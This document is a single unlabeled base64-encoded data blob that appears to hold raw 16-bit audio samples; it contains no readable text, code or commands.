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/9H/y//T/+f/9v/7/wIADwAVAA4AAgABAAoACwD+//T//f8SACQAJwAnADQASgBRAEEAKgAfAB8AHwATAAAA9P/1//n/+f/7/wMADwAVABMAEwAaAB0AEgABAPb/9f/4//X/6f/i/+j/9f/8//z///8JABQAFAAMAAUABAACAPv/7v/k/+H/4v/k/+v/+/8GAAYABAALABgAHwAXAAkAAwAIAAoAAgD6//7/CgAQAAoACAAYACoAKwAbAAsABQAGAAEA8f/n/+r/7v/o/97/4P/0/wkAEQALAAkADwAUABIACgAEAAYABgD5/+n/5//v//j/AQAIAA4AEQASABYAIQArACYAFQACAPj/9f/y/+r/5f/m/+T/4P/k//P/AgAJAAcAAwAGAA8AEwANAAYAAgAAAPz/+v8AAA0AEgAGAPj/+/8MABoAFQD///T/AAANAAYA8//t//v/CAACAPP/9P8FABIADQD///j/AAAHAAMA+//8//7/9//t/+r/8P/6//3/9//1//3/CQAPAAsABQAGAAkABAD4//P/9f/2/+//4//e/+v//P/9//X/9v8GABcAHAAYABcAHgAhABoAFQAYAB4AHQASAAYACAASABIACAADAAYADAAMAAUA/f/9/wEA/f/1//P//f8GAP7/6//j/+7/+f/0/+n/5f/s//T/8//u//T//v/7//D/7//7/wQA/v/x//L/AwAOAAkAAwAHABIAGQAUAAoACQAMAAkAAQD//wIAAwADAAcAFgAnACwAJgAhACgAMwA0ACYAFQARABQACgD1/+n/7v/3//j/8f/x/wAAEAAOAAAA+v8EAA0ABgD2/+z/7v/v/+j/4P/e/+P/6f/r/+n/7//9/wcACwAIAP///P8EAA8AEQAHAPj/9/8GABAADAAEAAUAEAAeACAAFAANABMAFgAOAAUABgARABkAFwAQABEAFwAXABEACQAIAA0ACgD7//T//P8EAP3/8f/w//z/CwAKAPr/9P8AAAwACAD6//H/+v8GAAIA8f/o/+v/8v/1//D/7v/3/wUACwANABQAHQAbABIACwALAA0ACAD7//P/9v/9/////P/9/wcAFwAaABEACwANAA0ACAAAAPn//P8AAPv/+P8DABEAFwASAAgACgAXABkADAAAAAEACAAIAPj/6f/y/wgADgACAPz/BwAVABUACgADAAwAGQAWAAEA9v/8////8//n/+v/+/8EAP//+/8HABoAIQAYABEAGQAfABEA+v/y//3/CAD8/+T/4//8/w0ABAD3//z/DgAXAA0A+//6/wkADgABAPr/BwAVABEAAwADABcAIQATAP7/+v8FAA0A///o/+f/+P/9//H/6v/5/xQAIAAUAAcACgAXABwADAD3//X//f/7//T/8//4/wEACgAIAAcAEQAcACEAHwAUAAYAAwALABIADgADAP//CQAYABkABwD1//v/CwAMAP//8//z/wEABwD1/+n/9P8EAA8ADwAEAAUAEwAYABAACgAMABQAFQABAPH//P8NAAcA7P/Z/+j/BQANAP//9v8JACgAKwAMAPr/BgAVABMABAD5////AgD1/+r/7v/+/xAAFgAXACEAKAAeABIAEQAgADQAMQATAPn/8v/8/w0ACgDx/+T/7P/y/+7/7P/1/wgAEgAGAPP/7f/0//z//v8AAAMAAgD+//n//P8JAA8ABAAAAA8AFAAGAPb/6P/k//H/+//2//7/FQAdABgAFgAVABgAHAAWABQAHwAjABMA+v/w/wQAJAApABUACwAWACYAIQAIAPv/CAAXAA8A/P/4/wIAAgD2//H/+P/+//j/6v/l/+//8//j/9P/4P8AAAoA8P/Z/+X/AwASAAUA8//5/w8AEgD+//T/BgAdABQA9v/p//j/EgASAO//3v/+/xwAEAD8////GAA1ADQAEwD//w4AIgAhABAABgANABIADwALAAEA+f8HACIAKgATAO//4v///x4AHwAOAAEAAAAFAP3/6f/m//T/+v/r/9b/zf/U/9//4//t//7/CwAPAAgA9//y/wEAEQARAAAA7//3/wwADwAAAPr/CQAdABwADgARACAAIwAVAAMA/v8OAB4AGAAOAAoACAALAA4ACQAIABAAEgAMAAcABQAKABEABwDr/97/9P8JAPn/3P/Y//D/CQADAOf/5f/9////5v/S/9j/8//6/9//z//V/97/+P8oAEAANwAhAAwACQAZAB0AEgALAPf/xv+i/6f/uf/C/8f/xv/G/9D/1P/X//f/KQBGAFAAYQB1AHAAWwBlAI4ApgCaAGwALgAUAA8A6v/U/+P/zf+c/4H/Y/9L/1b/Yv9u/4H/gP+I/6f/s/++/9////8nAFQAVwBFAD8APgA8AD0ARgBOADgAHgALANn/tf/T/+//+/8PAOX/qf/H//j/CgBEAH4AiQCNAIYAfACcAMcA4wDpAMAAmgCSAGUA